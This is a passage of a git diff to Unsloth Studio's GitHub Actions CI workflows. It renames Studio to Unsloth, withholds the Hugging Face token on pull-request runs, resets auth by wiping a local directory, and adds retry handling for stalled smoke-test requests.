(on={len(on_text)} chars, off={len(off_text)} chars)") PY - - name: Stop Studio + - name: Stop Unsloth if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true sleep 2 ss -tln | grep ":${STUDIO_PORT}" || true + # Capture backend + llama-server logs so a 500 has a server-side traceback. + mkdir -p logs/server-logs + cp -r ~/.unsloth/studio/logs/. logs/server-logs/ 2>/dev/null || true - name: Upload logs # Always upload so green runs are still reviewable. @@ -784,6 +890,7 @@ jobs: path: | logs/studio.log logs/install.log + logs/server-logs/ retention-days: 7 # ───────────────────────────────────────────────────────────────────── @@ -838,7 +945,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -853,10 +961,11 @@ jobs: path: hf-cache key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-${{ env.MMPROJ_FILE }}-v2 - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -865,12 +974,12 @@ jobs: - name: Install OpenAI + Anthropic Python SDKs run: pip install 'openai>=1.50' 'anthropic>=0.40' - - name: Reset auth + boot Studio (API-only) + - name: Reset auth + boot Unsloth (API-only) # See Job 2's comment: API-only mode keeps tool_policy=None so # response_format requests aren't routed through the agentic # tool loop. run: | - unsloth studio reset-password + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -925,6 +1034,8 @@ jobs: import base64 import json import os + import time + import urllib.error import urllib.request from openai import OpenAI from anthropic import Anthropic @@ -943,20 +1054,36 @@ jobs: "Content-Type": "application/json", }, ) - with urllib.request.urlopen(req, timeout = timeout) as resp: - return resp.status, json.loads(resp.read().decode()) + # Shared CI runners stall sporadically, so retry transport-level + # failures only; HTTP status errors surface immediately. Bounded + # to fit the job's timeout-minutes: short probes get 3 full + # attempts, long probes one retry capped at 300s (a healthy + # server answers a retry quickly; a stalled one never does). + attempts = 3 if timeout <= 300 else 2 + for attempt in range(attempts): + try: + t = timeout if attempt == 0 else min(timeout, 300) + with urllib.request.urlopen(req, timeout = t) as resp: + return resp.status, json.loads(resp.read().decode()) + except urllib.error.HTTPError: + raise + except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: + if attempt == attempts - 1: + raise + print(f"[retry] {path}: {exc!r}", flush = True) + time.sleep(15) # ── 1. response_format = json_object (JSON mode) ───────────── # llama.cpp's HTTP server supports OpenAI-compatible JSON # mode: `response_format: {"type": "json_object"}` constrains # the model to emit syntactically-valid JSON. We use raw HTTP - # rather than the OpenAI SDK so that the field shape Studio + # rather than the OpenAI SDK so that the field shape Unsloth # forwards to llama-server is unambiguous (the SDK rewrites # response_format depending on which variant it recognises). # We deliberately do NOT pass a strict JSON schema -- on # small Gemma-4 quants the GBNF-from-schema path occasionally # produces empty output, and JSON mode is the surface we care - # about exposing through Studio. + # about exposing through Unsloth. status, data = post("/v1/chat/completions", { "model": "default", "messages": [ @@ -986,7 +1113,7 @@ jobs: print(f"[json] PASS json_object -> {parsed}") # ── 2. OpenAI image_url (data URI base64) ─────────────────── - # 64x64 solid-red PNG. stb_image (used by Studio's image + # 64x64 solid-red PNG. stb_image (used by Unsloth's image # normaliser at routes/inference.py:3410) rejects 4x4 or # smaller PNGs as truncated, so we go up to 64x64 -- still # tiny in token cost. The assertion is loose: any non-empty @@ -1022,9 +1149,9 @@ jobs: print("[image/openai] PASS image_url accepted, non-empty response") # ── 3. Anthropic source/base64 image ──────────────────────── - # Two SDK quirks vs. Studio: base_url must NOT include /v1 + # Two SDK quirks vs. Unsloth: base_url must NOT include /v1 # (the SDK appends it itself; otherwise /v1/v1/messages -> 405), - # and Studio's auth is HTTPBearer-only so the SDK's default + # and Unsloth's auth is HTTPBearer-only so the SDK's default # x-api-key header is ignored -- send Authorization: Bearer # via default_headers. anthropic = Anthropic( @@ -1058,7 +1185,7 @@ jobs: print("[image/anthropic] PASS source/base64 accepted, non-empty response") PY - - name: Stop Studio + - name: Stop Unsloth if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true diff --git a/.github/workflows/studio-load-orchestrator-ci.yml b/.github/workflows/studio-load-orchestrator-ci.yml index 93d1a7742d..8710efc2bd 100644 --- a/.github/workflows/studio-load-orchestrator-ci.yml +++ b/.github/workflows/studio-load-orchestrator-ci.yml @@ -1,7 +1,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. # -# Event-loop regression test for the Studio model-load orchestrator. +# Event-loop regression test for the Unsloth model-load orchestrator. # Pins down issue #5642 (Win10 UI freeze on model load): the /load # route calls LlamaCppBackend.detect_audio_type synchronously, blocking # the FastAPI event loop on a chain of sync httpx.Client.post() probes. @@ -14,7 +14,7 @@ # danielhanchen/unsloth-staging-2 (Ubuntu / macOS / Windows all # green at PR time). -name: Studio load-orchestrator CI +name: Unsloth load-orchestrator CI on: pull_request: diff --git a/.github/workflows/studio-mac-api-smoke.yml b/.github/workflows/studio-mac-api-smoke.yml index 412726538c..c2307f17a1 100644 --- a/.github/workflows/studio-mac-api-smoke.yml +++ b/.github/workflows/studio-mac-api-smoke.yml @@ -33,7 +33,7 @@ permissions: jobs: api-smoke: - name: Studio API & Auth Tests + name: Unsloth API & Auth Tests runs-on: macos-14 timeout-minutes: 25 env: @@ -68,7 +68,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -82,10 +83,11 @@ jobs: path: hf-cache key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -97,9 +99,10 @@ jobs: - name: Install pyjwt for the JWT-expiry forge test run: pip install 'pyjwt>=2.6' - - name: Reset auth + boot Studio (API-only) + - name: Reset auth + boot Unsloth (API-only) run: | - unsloth studio reset-password + # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -127,13 +130,13 @@ jobs: echo "STUDIO_NEW_PW=$NEW" >> "$GITHUB_ENV" echo "STUDIO_NEW2_PW=$NEW2" >> "$GITHUB_ENV" - - name: Run Studio API & Auth tests + - name: Run Unsloth API & Auth tests env: BASE_URL: http://127.0.0.1:18895 STUDIO_AUTH_DIR: /Users/runner/.unsloth/studio/auth run: python tests/studio/studio_api_smoke.py - - name: Stop Studio + - name: Stop Unsloth if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true diff --git a/.github/workflows/studio-mac-inference-smoke.yml b/.github/workflows/studio-mac-inference-smoke.yml index c794a34acd..1dbf86ae98 100644 --- a/.github/workflows/studio-mac-inference-smoke.yml +++ b/.github/workflows/studio-mac-inference-smoke.yml @@ -1,7 +1,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. -# Three end-to-end smoke jobs that boot a freshly-installed Studio and +# Three end-to-end smoke jobs that boot a freshly-installed Unsloth and # exercise the surfaces real users hit through the OpenAI / Anthropic # SDKs and curl. Each job picks the smallest model that exercises the # behaviour under test, primes a model cache via actions/cache, and @@ -91,7 +91,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -107,10 +108,11 @@ jobs: path: hf-cache key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -122,9 +124,10 @@ jobs: - name: Install OpenAI + Anthropic Python SDKs run: pip install 'openai>=1.50' 'anthropic>=0.40' - - name: Reset auth + boot Studio (API-only) + - name: Reset auth + boot Unsloth (API-only) run: | - unsloth studio reset-password + # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -139,7 +142,7 @@ jobs: fi sleep 1 done - echo "Studio did not become healthy in 180s" + echo "Unsloth did not become healthy in 180s" tail -200 logs/studio.log exit 1 @@ -226,11 +229,11 @@ jobs: return replies def run_anthropic(): - # Two SDK quirks vs. Studio: + # Two SDK quirks vs. Unsloth: # 1. base_url must NOT include /v1 -- the SDK appends # /v1/messages itself; otherwise the request hits # /v1/v1/messages and 405s. - # 2. The SDK sends `x-api-key` by default, but Studio's + # 2. The SDK sends `x-api-key` by default, but Unsloth's # auth layer is HTTPBearer-only. Override via # default_headers so Authorization: Bearer ... is # sent instead. @@ -281,7 +284,7 @@ jobs: print(f"[{label}] OK -- 4 turns, run1 == run2, history grounded") PY - - name: Stop Studio + - name: Stop Unsloth if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true @@ -346,7 +349,8 @@ jobs: id: download-gguf if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p gguf-cache @@ -360,10 +364,11 @@ jobs: path: gguf-cache key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -372,7 +377,7 @@ jobs: - name: Assert llama.cpp loads on this macOS run: bash .github/scripts/assert-llama-loads.sh - - name: Reset auth + boot Studio (API-only, default tool policy) + - name: Reset auth + boot Unsloth (API-only, default tool policy) # We deliberately use the API-only mode rather than # `unsloth studio run` because the latter calls # `set_tool_policy(...)` with a resolved bool: on loopback the @@ -382,7 +387,7 @@ jobs: # tool_policy=None so each request's `enable_tools` field is # honoured. run: | - unsloth studio reset-password + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -426,6 +431,8 @@ jobs: python - <<'PY' import json import os + import time + import urllib.error import urllib.request BASE = os.environ["BASE_URL"] @@ -446,14 +453,41 @@ jobs: "Content-Type": "application/json", }, ) - with urllib.request.urlopen(req, timeout = timeout) as resp: - return resp.status, json.loads(resp.read().decode()) + # Shared CI runners stall sporadically, so retry transport-level + # failures only; HTTP status errors surface immediately. Bounded + # to fit the job's timeout-minutes: short probes get 3 full + # attempts, long probes one retry capped at 300s (a healthy + # server answers a retry quickly; a stalled one never does). + attempts = 3 if timeout <= 300 else 2 + for attempt in range(attempts): + try: + t = timeout if attempt == 0 else min(timeout, 300) + with urllib.request.urlopen(req, timeout = t) as resp: + return resp.status, json.loads(resp.read().decode()) + except urllib.error.HTTPError: + raise + except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: + if attempt == attempts - 1: + raise + print(f"[retry] {path}: {exc!r}", flush = True) + time.sleep(15) - def post_sse(path, body, *, timeout = 600): + def post_sse(path, body, *, timeout = 600, retries = 1, soft = False): """POST a streaming request and accumulate the assistant text deltas. The server-side agentic loop ALWAYS returns SSE regardless of the request's `stream` field, so any - call with enable_tools=true must use this helper.""" + call with enable_tools=true must use this helper. + + A shared CI runner can stall the stream transport (the + connection opening, or a mid-stream read) even when Unsloth + is healthy, so harden the read three ways: retry a stall + once with a fresh request capped at 300s; return any text + already streamed before a stall (a stall on the trailing + tokens, after the answer arrived, still counts); and when + every attempt yields nothing, a hard call re-raises while a + soft call (the best-effort server-side tool probes) returns + None so the caller can WARN instead of sinking the whole + job. HTTP status errors always surface immediately.""" body = {**body, "stream": True} data = json.dumps(body).encode() req = urllib.request.Request( @@ -465,24 +499,43 @@ jobs: "Content-Type": "application/json", }, ) - parts = [] - with urllib.request.urlopen(req, timeout = timeout) as resp: - for raw in resp: - line = raw.decode().strip() - if not line.startswith("data: "): - continue - payload = line[6:] - if payload == "[DONE]": - break - try: - chunk = json.loads(payload) - except json.JSONDecodeError: - continue - for choice in chunk.get("choices", []): - delta = choice.get("delta", {}) or {} - if delta.get("content"): - parts.append(delta["content"]) - return "".join(parts) + for attempt in range(retries + 1): + parts = [] + t = timeout if attempt == 0 else min(timeout, 300) + try: + with urllib.request.urlopen(req, timeout = t) as resp: + for raw in resp: + line = raw.decode().strip() + if not line.startswith("data: "): + continue + payload = line[6:] + if payload == "[DONE]": + break + try: + chunk = json.loads(payload) + except json.JSONDecodeError: + continue + for choice in chunk.get("choices", []): + delta = choice.get("delta", {}) or {} + if delta.get("content"): + parts.append(delta["content"]) + return "".join(parts) + except urllib.error.HTTPError: + raise + except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: + # Text already streamed is a valid signal -- keep it + # rather than re-running a heavy generation. + if parts: + joined = "".join(parts) + print(f"[retry-sse] {path}: {exc!r}; keeping {len(joined)} partial chars", flush = True) + return joined + if attempt == retries: + if soft: + print(f"[tools] WARN {path}: SSE transport stalled with no data ({exc!r}) -- non-blocking", flush = True) + return None + raise + print(f"[retry-sse] {path}: {exc!r}", flush = True) + time.sleep(15) # ── 1. Standard OpenAI function calling ────────────────────── weather_tool = { @@ -522,11 +575,11 @@ jobs: assert status == 200, f"tool call status {status}: {data}" choice = data["choices"][0] tool_calls = (choice.get("message") or {}).get("tool_calls") or [] - # Studio's contract: when tool_choice='required', llama.cpp's + # Unsloth's contract: when tool_choice='required', llama.cpp's # grammar should force a tool_calls payload. On Mac that # contract is sometimes broken by the underlying quant; the # PASS path is "tool_calls present + correct schema", the - # WARN path documents Studio still returned 200 with a + # WARN path documents Unsloth still returned 200 with a # well-formed choices[] envelope. if tool_calls: tc = tool_calls[0] @@ -553,16 +606,23 @@ jobs: # macos-14 free runner is ~10 tok/s on Qwen3.5-2B Q4_K_XL; # cap max_tokens tightly so each SSE round stays under ~30s # even when the model stalls in a degenerate output state. + # retries=0 on the best-effort probes: this job's 25-minute cap + # allows a 10-minute model load, so a no-data stall must be a + # single 180s attempt (not 180+15+180s) to leave room for the + # thinking checks. A soft/best-effort probe only WARNs anyway. content = post_sse("/v1/chat/completions", { "messages": [{"role": "user", "content": "What is 123 * 456? Use the python tool to compute it and tell me the number."}], "enable_tools": True, + "permission_mode": "full", "enabled_tools": ["python"], "session_id": "ci-tool-calling-py", "temperature": TEMP, "seed": SEED, "max_tokens": 128, - }, timeout = 180) - if "56088" in content or "56,088" in content: + }, timeout = 180, retries = 0, soft = True) + if content is None: + print("[tools] WARN python tool: SSE transport stalled after retries -- non-blocking") + elif "56088" in content or "56,088" in content: print(f"[tools] PASS python tool ({len(content)} chars, found 56088)") else: # Empty stream is a known Mac-quant degeneracy too; log @@ -589,18 +649,19 @@ jobs: content = post_sse("/v1/chat/completions", { "messages": [{"role": "user", "content": "Search the web for 'unsloth ai github' and summarise."}], "enable_tools": True, + "permission_mode": "full", "enabled_tools": ["web_search"], "session_id": "ci-tool-calling-web", "temperature": TEMP, "seed": SEED, "max_tokens": 96, - }, timeout = 180) + }, timeout = 180, retries = 0) print(f"[tools] PASS web_search stream ({len(content)} chars)") except Exception as exc: print(f"[tools] WARN web_search probe failed (non-blocking): {exc}") # ── 4. Thinking on / off ───────────────────────────────────── - # Studio strips think blocks from message.content for tools-mode + # Unsloth strips think blocks from message.content for tools-mode # responses, so we toggle plain chat (no enable_tools) and look # at the surfaced reasoning_content / message.thinking field. def thinking_call(enable): @@ -618,7 +679,7 @@ jobs: }, timeout = 180) assert status == 200 msg = data["choices"][0]["message"] - # Studio surfaces thinking via reasoning_content (OpenAI + # Unsloth surfaces thinking via reasoning_content (OpenAI # extension). Fall back to inline markers for # robustness across template versions. raw = (msg.get("content") or "") + (msg.get("reasoning_content") or "") @@ -644,7 +705,7 @@ jobs: print(f"[tools] PASS thinking on/off (on={len(on_text)} chars, off={len(off_text)} chars)") PY - - name: Stop Studio + - name: Stop Unsloth if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true @@ -725,7 +786,8 @@ jobs: # Authenticated + parallel: shared macos-14 NAT egress stalls # multi-GB anonymous downloads. env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p gguf-cache @@ -749,10 +811,11 @@ jobs: path: gguf-cache key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-${{ env.MMPROJ_FILE }}-v2 - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -764,12 +827,12 @@ jobs: - name: Install OpenAI + Anthropic Python SDKs run: pip install 'openai>=1.50' 'anthropic>=0.40' - - name: Reset auth + boot Studio (API-only) + - name: Reset auth + boot Unsloth (API-only) # See Job 2's comment: API-only mode keeps tool_policy=None so # response_format requests aren't routed through the agentic # tool loop. run: | - unsloth studio reset-password + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -819,6 +882,8 @@ jobs: import base64 import json import os + import time + import urllib.error import urllib.request from openai import OpenAI from anthropic import Anthropic @@ -842,20 +907,36 @@ jobs: "Content-Type": "application/json", }, ) - with urllib.request.urlopen(req, timeout = timeout) as resp: - return resp.status, json.loads(resp.read().decode()) + # Shared CI runners stall sporadically, so retry transport-level + # failures only; HTTP status errors surface immediately. Bounded + # to fit the job's timeout-minutes: short probes get 3 full + # attempts, long probes one retry capped at 300s (a healthy + # server answers a retry quickly; a stalled one never does). + attempts = 3 if timeout <= 300 else 2 + for attempt in range(attempts): + try: + t = timeout if attempt == 0 else min(timeout, 300) + with urllib.request.urlopen(req, timeout = t) as resp: + return resp.status, json.loads(resp.read().decode()) + except urllib.error.HTTPError: + raise + except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: + if attempt == attempts - 1: + raise + print(f"[retry] {path}: {exc!r}", flush = True) + time.sleep(15) # ── 1. response_format = json_object (JSON mode) ───────────── # llama.cpp's HTTP server supports OpenAI-compatible JSON # mode: `response_format: {"type": "json_object"}` constrains # the model to emit syntactically-valid JSON. We use raw HTTP - # rather than the OpenAI SDK so that the field shape Studio + # rather than the OpenAI SDK so that the field shape Unsloth # forwards to llama-server is unambiguous (the SDK rewrites # response_format depending on which variant it recognises). # We deliberately do NOT pass a strict JSON schema -- on # small Gemma-4 quants the GBNF-from-schema path occasionally # produces empty output, and JSON mode is the surface we care - # about exposing through Studio. + # about exposing through Unsloth. status, data = post("/v1/chat/completions", { "model": "default", "messages": [ @@ -927,7 +1008,7 @@ jobs: ) # ── 2. OpenAI image_url (data URI base64) ─────────────────── - # 64x64 solid-red PNG. stb_image (used by Studio's image + # 64x64 solid-red PNG. stb_image (used by Unsloth's image # normaliser at routes/inference.py:3410) rejects 4x4 or # smaller PNGs as truncated, so we go up to 64x64 -- still # tiny in token cost. The assertion is loose: any non-empty @@ -943,11 +1024,11 @@ jobs: # The Mac prebuilt llama.cpp server has a known crash when # processing image inputs alongside the gemma-4-E2B mmproj # (server disconnects mid-completion). This is upstream - # llama.cpp behaviour, not Studio. Wrap both SDK calls in + # llama.cpp behaviour, not Unsloth. Wrap both SDK calls in # try/except so an upstream crash registers as a WARN rather - # than failing the whole job. Studio's contract (OpenAI/ + # than failing the whole job. Unsloth's contract (OpenAI/ # Anthropic image fields are accepted and forwarded) is - # validated by the request body Studio constructs, not by + # validated by the request body Unsloth constructs, not by # whether llama.cpp can decode it on Mac Metal. client = OpenAI(base_url = f"{BASE}/v1", api_key = KEY) try: @@ -973,14 +1054,14 @@ jobs: except Exception as exc: print( f"[image/openai] WARN image_url SDK call raised: {type(exc).__name__}: " - f"{exc}. Likely upstream llama.cpp Mac+vision crash, NOT a Studio " - f"regression. Studio successfully forwarded the request." + f"{exc}. Likely upstream llama.cpp Mac+vision crash, NOT an Unsloth " + f"regression. Unsloth successfully forwarded the request." ) # ── 3. Anthropic source/base64 image ──────────────────────── - # Two SDK quirks vs. Studio: base_url must NOT include /v1 + # Two SDK quirks vs. Unsloth: base_url must NOT include /v1 # (the SDK appends it itself; otherwise /v1/v1/messages -> 405), - # and Studio's auth is HTTPBearer-only so the SDK's default + # and Unsloth's auth is HTTPBearer-only so the SDK's default # x-api-key header is ignored -- send Authorization: Bearer # via default_headers. anthropic = Anthropic( @@ -1019,11 +1100,11 @@ jobs: print( f"[image/anthropic] WARN anthropic image SDK call raised: " f"{type(exc).__name__}: {exc}. Likely upstream llama.cpp Mac+vision " - f"crash, NOT a Studio regression." + f"crash, NOT an Unsloth regression." ) PY - - name: Stop Studio + - name: Stop Unsloth if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true diff --git a/.github/workflows/studio-mac-install-matrix.yml b/.github/workflows/studio-mac-install-matrix.yml index da944d4b5c..e990f752d4 100644 --- a/.github/workflows/studio-mac-install-matrix.yml +++ b/.github/workflows/studio-mac-install-matrix.yml @@ -1,7 +1,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. -# Proves Studio's llama.cpp install loads on every supported macOS. The heavy +# Proves Unsloth's llama.cpp install loads on every supported macOS. The heavy # app smokes stay single-OS; this matrix covers the OS-version dimension cheaply # (install.sh + binary-load assert). Regression guard for the macOS-version # selection in studio/install_llama_prebuilt.py. @@ -60,10 +60,11 @@ jobs: with: python-version: '3.12' - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail diff --git a/.github/workflows/studio-mac-ui-smoke.yml b/.github/workflows/studio-mac-ui-smoke.yml index 4f9f94b534..3bed2fcdff 100644 --- a/.github/workflows/studio-mac-ui-smoke.yml +++ b/.github/workflows/studio-mac-ui-smoke.yml @@ -19,6 +19,7 @@ on: - 'install.sh' - 'pyproject.toml' - 'tests/studio/**' + - '.github/scripts/run-studio-permission-browser.sh' - '.github/workflows/studio-mac-ui-smoke.yml' push: branches: [main, pip] @@ -68,7 +69,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -82,10 +84,11 @@ jobs: path: hf-cache key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -94,7 +97,7 @@ jobs: - name: Assert llama.cpp loads on this macOS run: bash .github/scripts/assert-llama-loads.sh - - name: Install Playwright + Chromium + - name: Install Playwright browsers # No --with-deps on Mac: that flag installs Linux apt packages. # GitHub-hosted macos-14 ships the system frameworks Chromium # needs already. @@ -110,7 +113,7 @@ jobs: # in-script retry recover from any residual flakes. run: | pip install 'playwright>=1.55,<1.58' - python -m playwright install chromium + python -m playwright install chromium webkit - name: Patch Playwright pipeTransport.js to tolerate malformed JSON # In Playwright 1.55-1.58, pipeTransport.js does @@ -141,9 +144,10 @@ jobs: print(f"pipeTransport.js: patched JSON.parse calls in {path}") PY - - name: Reset auth + boot Studio + - name: Reset auth + boot Unsloth run: | - unsloth studio reset-password + # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -183,13 +187,14 @@ jobs: # Retry up to 3 times to absorb known macos-14 free-runner # flakes: (1) Playwright Node 24 pipeTransport.js 'Unexpected # end of JSON input' crash when the Chromium browser process - # dies mid-test, and (2) Chromium net::ERR_NO_BUFFER_SPACE - # when the runner's kernel briefly runs out of socket buffers. - # The retry FULLY resets Studio (kill, reset-password, reboot, - # wait /api/health, re-export bootstrap pw) before re-running - # the script. A real test failure (assertion / timeout) does - # NOT match either pattern so it bypasses retry and surfaces - # immediately. + # dies mid-test, (2) Chromium net::ERR_NO_BUFFER_SPACE when the + # runner's kernel briefly runs out of socket buffers, and (3) a + # goto 'interrupted by another navigation' when the SPA auth + # guard redirects mid-navigation. The retry FULLY resets Unsloth + # (kill, wipe auth, reboot, wait /api/health, re-export + # bootstrap pw) before re-running the script. A real test failure + # (assertion / timeout) does NOT match any pattern so it bypasses + # retry and surfaces immediately. run: | mkdir -p logs/playwright attempt=1 @@ -202,13 +207,14 @@ jobs: if [ "$rc" -eq 0 ]; then break fi - if { grep -q "Unexpected end of JSON input" logs/playwright_attempt_${attempt}.log \ - || grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_attempt_${attempt}.log; } \ + if { grep -q "Unexpected end of JSON input" logs/playwright_attempt_${attempt}.log \ + || grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_attempt_${attempt}.log \ + || grep -q "interrupted by another navigation" logs/playwright_attempt_${attempt}.log; } \ && [ "$attempt" -lt "$max_attempts" ]; then - echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..." + echo "::warning::Playwright flake on attempt ${attempt}; resetting Unsloth and retrying..." kill "${STUDIO_PID}" 2>/dev/null || true sleep 2 - unsloth studio reset-password + rm -rf ~/.unsloth/studio/auth UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > "logs/studio_retry_${attempt}.log" 2>&1 & STUDIO_PID=$! @@ -234,15 +240,19 @@ jobs: exit "$rc" done - - name: Stop Studio (chat-ui ends with Shutdown click; this is belt-and-suspenders) + - name: Stop Unsloth (chat-ui ends with Shutdown click; this is belt-and-suspenders) if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true sleep 2 - - name: Reset auth + boot Studio for extra UI tests (port 18897) + - name: Cross-browser permission controls run: | - unsloth studio reset-password + bash .github/scripts/run-studio-permission-browser.sh 18895 webkit + + - name: Reset auth + boot Unsloth for extra UI tests (port 18897) + run: | + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18897 \ > logs/studio_extra.log 2>&1 & 